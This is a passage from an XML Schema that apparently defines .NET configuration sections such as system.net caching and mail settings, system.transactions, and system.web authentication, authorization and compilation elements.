727 <xs:attribute name="lockElements" type="xs:string" use="optional" />
728 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
729 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
730 </xs:complexType>
731 </xs:element>
732 <xs:element name="defaultHttpCachePolicy" vs:help="configuration/system.net/requestCaching/defaultHttpCachePolicy">
733 <xs:complexType>
734 <xs:attribute name="maximumAge" type="xs:string" use="optional" />
735 <xs:attribute name="maximumStale" type="xs:string" use="optional" />
736 <xs:attribute name="minimumFresh" type="xs:string" use="optional" />
737 <xs:attribute name="policyLevel" use="required">
738 <xs:simpleType>
739 <xs:restriction base="xs:NMTOKEN">
740 <xs:enumeration value="BypassCache" />
741 <xs:enumeration value="CacheIfAvailable" />
742 <xs:enumeration value="CacheOnly" />
743 <xs:enumeration value="CacheOrNextCacheOnly" />
744 <xs:enumeration value="Default" />
745 <xs:enumeration value="NoCacheNoStore" />
746 <xs:enumeration value="Refresh" />
747 <xs:enumeration value="Reload" />
748 <xs:enumeration value="Revalidate" />
749 </xs:restriction>
750 </xs:simpleType>
751 </xs:attribute>
752 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
753 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
754 <xs:attribute name="lockElements" type="xs:string" use="optional" />
755 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
756 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
757 </xs:complexType>
758 </xs:element>
759 </xs:choice>
760 <xs:attribute name="defaultPolicyLevel" use="optional">
761 <xs:simpleType>
762 <xs:restriction base="xs:NMTOKEN">
763 <xs:enumeration value="BypassCache" />
764 <xs:enumeration value="CacheIfAvailable" />
765 <xs:enumeration value="CacheOnly" />
766 <xs:enumeration value="Default" />
767 <xs:enumeration value="NoCacheNoStore" />
768 <xs:enumeration value="Reload" />
769 <xs:enumeration value="Revalidate" />
770 </xs:restriction>
771 </xs:simpleType>
772 </xs:attribute>
773 <xs:attribute name="disableAllCaching" type="small_boolean_Type" use="optional" />
774 <xs:attribute name="isPrivateCache" type="small_boolean_Type" use="optional" />
775 <xs:attribute name="unspecifiedMaximumAge" type="xs:string" use="optional" />
776 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
777 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
778 <xs:attribute name="lockElements" type="xs:string" use="optional" />
779 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
780 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
781 <xs:attribute name="configSource" type="xs:string" use="optional" />
782 </xs:complexType>
783 </xs:element>
784 <xs:element name="settings" vs:help="configuration/system.net/settings">
785 <xs:complexType>
786 <xs:choice minOccurs="0" maxOccurs="unbounded">
787 <xs:element name="httpWebRequest" vs:help="configuration/system.net/settings/httpWebRequest">
788 <xs:complexType>
789 <xs:attribute name="maximumErrorResponseLength" type="xs:int" use="optional" />
790 <xs:attribute name="maximumResponseHeadersLength" type="xs:int" use="optional" />
791 <xs:attribute name="maximumUnauthorizedUploadLength" type="xs:int" use="optional" />
792 <xs:attribute name="useUnsafeHeaderParsing" type="small_boolean_Type" use="optional" />
793 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
794 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
795 <xs:attribute name="lockElements" type="xs:string" use="optional" />
796 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
797 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
798 </xs:complexType>
799 </xs:element>
800 <xs:element name="ipv6" vs:help="configuration/system.net/settings/ipv6">
801 <xs:complexType>
802 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
803 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
804 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
805 <xs:attribute name="lockElements" type="xs:string" use="optional" />
806 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
807 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
808 </xs:complexType>
809 </xs:element>
810 <xs:element name="performanceCounters" vs:help="configuration/system.net/settings/performanceCounters">
811 <xs:complexType>
812 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
813 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
814 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
815 <xs:attribute name="lockElements" type="xs:string" use="optional" />
816 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
817 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
818 </xs:complexType>
819 </xs:element>
820 <xs:element name="servicePointManager" vs:help="configuration/system.net/settings/servicePointManager">
821 <xs:complexType>
822 <xs:attribute name="checkCertificateName" type="small_boolean_Type" use="optional" />
823 <xs:attribute name="checkCertificateRevocationList" type="small_boolean_Type" use="optional" />
824 <xs:attribute name="dnsRefreshTimeout" type="xs:int" use="optional" />
825 <xs:attribute name="enableDnsRoundRobin" type="small_boolean_Type" use="optional" />
826 <xs:attribute name="expect100Continue" type="small_boolean_Type" use="optional" />
827 <xs:attribute name="useNagleAlgorithm" type="small_boolean_Type" use="optional" />
828 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
829 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
830 <xs:attribute name="lockElements" type="xs:string" use="optional" />
831 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
832 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
833 </xs:complexType>
834 </xs:element>
835 <xs:element name="socket" vs:help="configuration/system.net/settings/socket">
836 <xs:complexType>
837 <xs:attribute name="alwaysUseCompletionPortsForAccept" type="small_boolean_Type" use="optional" />
838 <xs:attribute name="alwaysUseCompletionPortsForConnect" type="small_boolean_Type" use="optional" />
839 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
840 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
841 <xs:attribute name="lockElements" type="xs:string" use="optional" />
842 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
843 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
844 </xs:complexType>
845 </xs:element>
846 <xs:element name="webProxyScript" vs:help="configuration/system.net/settings/webProxyScript">
847 <xs:complexType>
848 <xs:attribute name="downloadTimeout" type="xs:string" use="optional" />
849 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
850 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
851 <xs:attribute name="lockElements" type="xs:string" use="optional" />
852 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
853 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
854 </xs:complexType>
855 </xs:element>
856 </xs:choice>
857 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
858 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
859 <xs:attribute name="lockElements" type="xs:string" use="optional" />
860 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
861 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
862 <xs:attribute name="configSource" type="xs:string" use="optional" />
863 </xs:complexType>
864 </xs:element>
865 <xs:element name="webRequestModules" vs:help="configuration/system.net/webRequestModules">
866 <xs:complexType>
867 <xs:choice minOccurs="0" maxOccurs="unbounded">
868 <xs:element name="add" vs:help="configuration/system.net/webRequestModules/add">
869 <xs:complexType>
870 <xs:attribute name="prefix" type="xs:string" use="required" />
871 <xs:attribute name="type" type="xs:string" use="optional" />
872 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
873 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
874 <xs:attribute name="lockElements" type="xs:string" use="optional" />
875 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
876 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
877 </xs:complexType>
878 </xs:element>
879 <xs:element name="remove" vs:help="configuration/system.net/webRequestModules/remove">
880 <xs:complexType>
881 <xs:attribute name="prefix" type="xs:string" use="required" />
882 </xs:complexType>
883 </xs:element>
884 <xs:element name="clear" vs:help="configuration/system.net/webRequestModules/clear">
885 <xs:complexType>
886 <!--tag is empty-->
887 </xs:complexType>
888 </xs:element>
889 </xs:choice>
890 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
891 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
892 <xs:attribute name="lockElements" type="xs:string" use="optional" />
893 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
894 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
895 <xs:attribute name="configSource" type="xs:string" use="optional" />
896 </xs:complexType>
897 </xs:element>
898 <xs:element name="mailSettings" vs:help="configuration/system.net/mailSettings">
899 <xs:complexType>
900 <xs:choice minOccurs="0" maxOccurs="unbounded">
901 <xs:element name="smtp" vs:help="configuration/system.net/mailSettings/smtp">
902 <xs:complexType>
903 <xs:choice minOccurs="0" maxOccurs="unbounded">
904 <xs:element name="network" vs:help="configuration/system.net/mailSettings/smtp/network">
905 <xs:complexType>
906 <xs:attribute name="defaultCredentials" type="small_boolean_Type" use="optional" />
907 <xs:attribute name="host" type="xs:string" use="optional" />
908 <xs:attribute name="password" type="xs:string" use="optional" />
909 <xs:attribute name="port" type="xs:int" use="optional" />
910 <xs:attribute name="userName" type="xs:string" use="optional" />
911 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
912 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
913 <xs:attribute name="lockElements" type="xs:string" use="optional" />
914 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
915 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
916 </xs:complexType>
917 </xs:element>
918 <xs:element name="specifiedPickupDirectory" vs:help="configuration/system.net/mailSettings/smtp/specifiedPickupDirectory">
919 <xs:complexType>
920 <xs:attribute name="pickupDirectoryLocation" type="xs:string" use="optional" />
921 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
922 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
923 <xs:attribute name="lockElements" type="xs:string" use="optional" />
924 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
925 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
926 </xs:complexType>
927 </xs:element>
928 </xs:choice>
929 <xs:attribute name="deliveryMethod" use="optional">
930 <xs:simpleType>
931 <xs:restriction base="xs:NMTOKEN">
932 <xs:enumeration value="Network" />
933 <xs:enumeration value="PickupDirectoryFromIis" />
934 <xs:enumeration value="SpecifiedPickupDirectory" />
935 </xs:restriction>
936 </xs:simpleType>
937 </xs:attribute>
938 <xs:attribute name="from" type="xs:string" use="optional" />
939 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
940 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
941 <xs:attribute name="lockElements" type="xs:string" use="optional" />
942 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
943 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
944 <xs:attribute name="configSource" type="xs:string" use="optional" />
945 </xs:complexType>
946 </xs:element>
947 </xs:choice>
948 </xs:complexType>
949 </xs:element>
950 </xs:choice>
951 </xs:complexType>
952 </xs:element>
953 <xs:element name="system.transactions" vs:help="configuration/system.transactions">
954 <xs:complexType>
955 <xs:choice minOccurs="0" maxOccurs="unbounded">
956 <xs:element name="defaultSettings" vs:help="configuration/system.transactions/defaultSettings">
957 <xs:complexType>
958 <xs:attribute name="distributedTransactionManagerName" type="xs:string" use="optional" />
959 <xs:attribute name="timeout" use="optional">
960 <xs:simpleType>
961 <xs:restriction base="xs:string">
962 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
963 </xs:restriction>
964 </xs:simpleType>
965 </xs:attribute>
966 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
967 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
968 <xs:attribute name="lockElements" type="xs:string" use="optional" />
969 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
970 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
971 <xs:attribute name="configSource" type="xs:string" use="optional" />
972 </xs:complexType>
973 </xs:element>
974 <xs:element name="machineSettings" vs:help="configuration/system.transactions/machineSettings">
975 <xs:complexType>
976 <xs:attribute name="maxTimeout" use="optional">
977 <xs:simpleType>
978 <xs:restriction base="xs:string">
979 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
980 </xs:restriction>
981 </xs:simpleType>
982 </xs:attribute>
983 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
984 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
985 <xs:attribute name="lockElements" type="xs:string" use="optional" />
986 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
987 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
988 <xs:attribute name="configSource" type="xs:string" use="optional" />
989 </xs:complexType>
990 </xs:element>
991 </xs:choice>
992 </xs:complexType>
993 </xs:element>
994 <xs:element name="system.web" vs:help="configuration/system.web">
995 <xs:complexType>
996 <xs:choice minOccurs="0" maxOccurs="unbounded">
997 <xs:element name="anonymousIdentification" vs:help="configuration/system.web/anonymousIdentification">
998 <xs:complexType>
999 <xs:attribute name="cookieless" use="optional">
1000 <xs:simpleType>
1001 <xs:restriction base="xs:NMTOKEN">
1002 <xs:enumeration value="AutoDetect" />
1003 <xs:enumeration value="UseCookies" />
1004 <xs:enumeration value="UseDeviceProfile" />
1005 <xs:enumeration value="UseUri" />
1006 </xs:restriction>
1007 </xs:simpleType>
1008 </xs:attribute>
1009 <xs:attribute name="cookieName" use="optional">
1010 <xs:simpleType>
1011 <xs:restriction base="xs:string">
1012 <xs:minLength value="1" />
1013 </xs:restriction>
1014 </xs:simpleType>
1015 </xs:attribute>
1016 <xs:attribute name="cookiePath" use="optional">
1017 <xs:simpleType>
1018 <xs:restriction base="xs:string">
1019 <xs:minLength value="1" />
1020 </xs:restriction>
1021 </xs:simpleType>
1022 </xs:attribute>
1023 <xs:attribute name="cookieProtection" use="optional">
1024 <xs:simpleType>
1025 <xs:restriction base="xs:NMTOKEN">
1026 <xs:enumeration value="All" />
1027 <xs:enumeration value="Encryption" />
1028 <xs:enumeration value="None" />
1029 <xs:enumeration value="Validation" />
1030 </xs:restriction>
1031 </xs:simpleType>
1032 </xs:attribute>
1033 <xs:attribute name="cookieRequireSSL" type="small_boolean_Type" use="optional" />
1034 <xs:attribute name="cookieSlidingExpiration" type="small_boolean_Type" use="optional" />
1035 <xs:attribute name="cookieTimeout" use="optional">
1036 <xs:simpleType>
1037 <xs:restriction base="xs:string">
1038 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1039 </xs:restriction>
1040 </xs:simpleType>
1041 </xs:attribute>
1042 <xs:attribute name="domain" type="xs:string" use="optional" />
1043 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
1044 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1045 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1046 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1047 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1048 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1049 <xs:attribute name="configSource" type="xs:string" use="optional" />
1050 </xs:complexType>
1051 </xs:element>
1052 <xs:element name="authentication" vs:help="configuration/system.web/authentication">
1053 <xs:complexType>
1054 <xs:choice minOccurs="0" maxOccurs="unbounded">
1055 <xs:element name="forms" vs:help="configuration/system.web/authentication/forms">
1056 <xs:complexType>
1057 <xs:choice minOccurs="0" maxOccurs="unbounded">
1058 <xs:element name="credentials" vs:help="configuration/system.web/authentication/forms/credentials">
1059 <xs:complexType>
1060 <xs:choice minOccurs="0" maxOccurs="unbounded">
1061 <xs:element name="user" vs:help="configuration/system.web/authentication/forms/credentials/user">
1062 <xs:complexType>
1063 <xs:attribute name="name" use="required">
1064 <xs:simpleType>
1065 <xs:restriction base="xs:string">
1066 <xs:minLength value="0" />
1067 </xs:restriction>
1068 </xs:simpleType>
1069 </xs:attribute>
1070 <xs:attribute name="password" use="required">
1071 <xs:simpleType>
1072 <xs:restriction base="xs:string">
1073 <xs:minLength value="0" />
1074 </xs:restriction>
1075 </xs:simpleType>
1076 </xs:attribute>
1077 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1078 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1079 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1080 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1081 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1082 </xs:complexType>
1083 </xs:element>
1084 </xs:choice>
1085 <xs:attribute name="passwordFormat" use="optional">
1086 <xs:simpleType>
1087 <xs:restriction base="xs:NMTOKEN">
1088 <xs:enumeration value="Clear" />
1089 <xs:enumeration value="MD5" />
1090 <xs:enumeration value="SHA1" />
1091 </xs:restriction>
1092 </xs:simpleType>
1093 </xs:attribute>
1094 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1095 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1096 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1097 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1098 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1099 </xs:complexType>
1100 </xs:element>
1101 </xs:choice>
1102 <xs:attribute name="cookieless" use="optional">
1103 <xs:simpleType>
1104 <xs:restriction base="xs:NMTOKEN">
1105 <xs:enumeration value="AutoDetect" />
1106 <xs:enumeration value="UseCookies" />
1107 <xs:enumeration value="UseDeviceProfile" />
1108 <xs:enumeration value="UseUri" />
1109 </xs:restriction>
1110 </xs:simpleType>
1111 </xs:attribute>
1112 <xs:attribute name="defaultUrl" use="optional">
1113 <xs:simpleType>
1114 <xs:restriction base="xs:string">
1115 <xs:minLength value="1" />
1116 </xs:restriction>
1117 </xs:simpleType>
1118 </xs:attribute>
1119 <xs:attribute name="domain" type="xs:string" use="optional" />
1120 <xs:attribute name="enableCrossAppRedirects" type="small_boolean_Type" use="optional" />
1121 <xs:attribute name="loginUrl" use="optional">
1122 <xs:simpleType>
1123 <xs:restriction base="xs:string">
1124 <xs:minLength value="1" />
1125 </xs:restriction>
1126 </xs:simpleType>
1127 </xs:attribute>
1128 <xs:attribute name="name" use="optional">
1129 <xs:simpleType>
1130 <xs:restriction base="xs:string">
1131 <xs:minLength value="1" />
1132 </xs:restriction>
1133 </xs:simpleType>
1134 </xs:attribute>
1135 <xs:attribute name="path" use="optional">
1136 <xs:simpleType>
1137 <xs:restriction base="xs:string">
1138 <xs:minLength value="1" />
1139 </xs:restriction>
1140 </xs:simpleType>
1141 </xs:attribute>
1142 <xs:attribute name="protection" use="optional">
1143 <xs:simpleType>
1144 <xs:restriction base="xs:NMTOKEN">
1145 <xs:enumeration value="All" />
1146 <xs:enumeration value="Encryption" />
1147 <xs:enumeration value="None" />
1148 <xs:enumeration value="Validation" />
1149 </xs:restriction>
1150 </xs:simpleType>
1151 </xs:attribute>
1152 <xs:attribute name="requireSSL" type="small_boolean_Type" use="optional" />
1153 <xs:attribute name="slidingExpiration" type="small_boolean_Type" use="optional" />
1154 <xs:attribute name="timeout" use="optional">
1155 <xs:simpleType>
1156 <xs:restriction base="xs:string">
1157 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1158 </xs:restriction>
1159 </xs:simpleType>
1160 </xs:attribute>
1161 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1162 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1163 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1164 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1165 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1166 </xs:complexType>
1167 </xs:element>
1168 <xs:element name="passport" vs:help="configuration/system.web/authentication/passport">
1169 <xs:complexType>
1170 <xs:attribute name="redirectUrl" use="optional">
1171 <xs:simpleType>
1172 <xs:restriction base="xs:string">
1173 <xs:minLength value="0" />
1174 </xs:restriction>
1175 </xs:simpleType>
1176 </xs:attribute>
1177 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1178 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1179 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1180 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1181 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1182 </xs:complexType>
1183 </xs:element>
1184 </xs:choice>
1185 <xs:attribute name="mode" use="optional">
1186 <xs:simpleType>
1187 <xs:restriction base="xs:NMTOKEN">
1188 <xs:enumeration value="Forms" />
1189 <xs:enumeration value="None" />
1190 <xs:enumeration value="Passport" />
1191 <xs:enumeration value="Windows" />
1192 </xs:restriction>
1193 </xs:simpleType>
1194 </xs:attribute>
1195 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1196 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1197 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1198 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1199 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1200 <xs:attribute name="configSource" type="xs:string" use="optional" />
1201 </xs:complexType>
1202 </xs:element>
1203 <xs:element name="authorization" vs:help="configuration/system.web/authorization">
1204 <xs:complexType>
1205 <xs:choice minOccurs="0" maxOccurs="unbounded">
1206 <xs:element name="allow" vs:help="configuration/system.web/authorization/allow">
1207 <xs:complexType>
1208 <xs:attribute name="roles" type="xs:string" use="optional" />
1209 <xs:attribute name="users" type="xs:string" use="optional" />
1210 <xs:attribute name="verbs" type="xs:string" use="optional" />
1211 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1212 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1213 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1214 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1215 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1216 </xs:complexType>
1217 </xs:element>
1218 <xs:element name="deny" vs:help="configuration/system.web/authorization/deny">
1219 <xs:complexType>
1220 <xs:attribute name="roles" type="xs:string" use="optional" />
1221 <xs:attribute name="users" type="xs:string" use="optional" />
1222 <xs:attribute name="verbs" type="xs:string" use="optional" />
1223 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1224 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1225 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1226 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1227 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1228 </xs:complexType>
1229 </xs:element>
1230 </xs:choice>
1231 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1232 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1233 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1234 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1235 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1236 <xs:attribute name="configSource" type="xs:string" use="optional" />
1237 </xs:complexType>
1238 </xs:element>
1239 <xs:element name="browserCaps" vs:help="configuration/system.web/browserCaps" />
1240 <xs:element name="clientTarget" vs:help="configuration/system.web/clientTarget">
1241 <xs:complexType>
1242 <xs:choice minOccurs="0" maxOccurs="unbounded">
1243 <xs:element name="add" vs:help="configuration/system.web/clientTarget/add">
1244 <xs:complexType>
1245 <xs:attribute name="alias" use="required">
1246 <xs:simpleType>
1247 <xs:restriction base="xs:string">
1248 <xs:minLength value="1" />
1249 </xs:restriction>
1250 </xs:simpleType>
1251 </xs:attribute>
1252 <xs:attribute name="userAgent" use="required">
1253 <xs:simpleType>
1254 <xs:restriction base="xs:string">
1255 <xs:minLength value="1" />
1256 </xs:restriction>
1257 </xs:simpleType>
1258 </xs:attribute>
1259 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1260 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1261 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1262 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1263 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1264 </xs:complexType>
1265 </xs:element>
1266 <xs:element name="remove" vs:help="configuration/system.web/clientTarget/remove">
1267 <xs:complexType>
1268 <xs:attribute name="alias" use="required">
1269 <xs:simpleType>
1270 <xs:restriction base="xs:string">
1271 <xs:minLength value="1" />
1272 </xs:restriction>
1273 </xs:simpleType>
1274 </xs:attribute>
1275 </xs:complexType>
1276 </xs:element>
1277 <xs:element name="clear" vs:help="configuration/system.web/clientTarget/clear">
1278 <xs:complexType>
1279 <!--tag is empty-->
1280 </xs:complexType>
1281 </xs:element>
1282 </xs:choice>
1283 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1284 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1285 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1286 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1287 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1288 <xs:attribute name="configSource" type="xs:string" use="optional" />
1289 </xs:complexType>
1290 </xs:element>
1291 <xs:element name="compilation" vs:help="configuration/system.web/compilation">
1292 <xs:complexType>
1293 <xs:choice minOccurs="0" maxOccurs="unbounded">
1294 <xs:element name="assemblies" vs:help="configuration/system.web/compilation/assemblies">
1295 <xs:complexType>
1296 <xs:choice minOccurs="0" maxOccurs="unbounded">
1297 <xs:element name="add" vs:help="configuration/system.web/compilation/assemblies/add">
1298 <xs:complexType>
1299 <xs:attribute name="assembly" use="required">
1300 <xs:simpleType>
1301 <xs:restriction base="xs:string">
1302 <xs:minLength value="1" />
1303 </xs:restriction>
1304 </xs:simpleType>
1305 </xs:attribute>
1306 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1307 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1308 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1309 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1310 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1311 </xs:complexType>
1312 </xs:element>
1313 <xs:element name="remove" vs:help="configuration/system.web/compilation/assemblies/remove">
1314 <xs:complexType>
1315 <xs:attribute name="assembly" use="required">
1316 <xs:simpleType>
1317 <xs:restriction base="xs:string">
1318 <xs:minLength value="1" />
1319 </xs:restriction>
1320 </xs:simpleType>
1321 </xs:attribute>
1322 </xs:complexType>
1323 </xs:element>
1324 <xs:element name="clear" vs:help="configuration/system.web/compilation/assemblies/clear">
1325 <xs:complexType>
1326 <!--tag is empty-->
1327 </xs:complexType>
1328 </xs:element>
1329 </xs:choice>
1330 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1331 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1332 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1333 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1334 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1335 </xs:complexType>
1336 </xs:element>
1337 <xs:element name="buildProviders" vs:help="configuration/system.web/compilation/buildProviders">
1338 <xs:complexType>
1339 <xs:choice minOccurs="0" maxOccurs="unbounded">
1340 <xs:element name="add" vs:help="configuration/system.web/compilation/buildProviders/add">
1341 <xs:complexType>
1342 <xs:attribute name="extension" use="required">
1343 <xs:simpleType>
1344 <xs:restriction base="xs:string">
1345 <xs:minLength value="1" />
1346 </xs:restriction>
1347 </xs:simpleType>
1348 </xs:attribute>
1349 <xs:attribute name="type" use="required">
1350 <xs:simpleType>
1351 <xs:restriction base="xs:string">
1352 <xs:minLength value="1" />
1353 </xs:restriction>
1354 </xs:simpleType>
1355 </xs:attribute>
1356 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1357 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1358 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1359 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1360 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1361 </xs:complexType>
1362 </xs:element>
1363 <xs:element name="remove" vs:help="configuration/system.web/compilation/buildProviders/remove">
1364 <xs:complexType>
1365 <xs:attribute name="extension" use="required">
1366 <xs:simpleType>
1367 <xs:restriction base="xs:string">
1368 <xs:minLength value="1" />
1369 </xs:restriction>
1370 </xs:simpleType>
1371 </xs:attribute>
1372 </xs:complexType>
1373 </xs:element>
1374 <xs:element name="clear" vs:help="configuration/system.web/compilation/buildProviders/clear">
1375 <xs:complexType>
1376 <!--tag is empty-->
1377 </xs:complexType>
1378 </xs:element>
1379 </xs:choice>
1380 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1381 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1382 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1383 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1384 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1385 </xs:complexType>
1386 </xs:element>
1387 <xs:element name="codeSubDirectories" vs:help="configuration/system.web/compilation/codeSubDirectories">
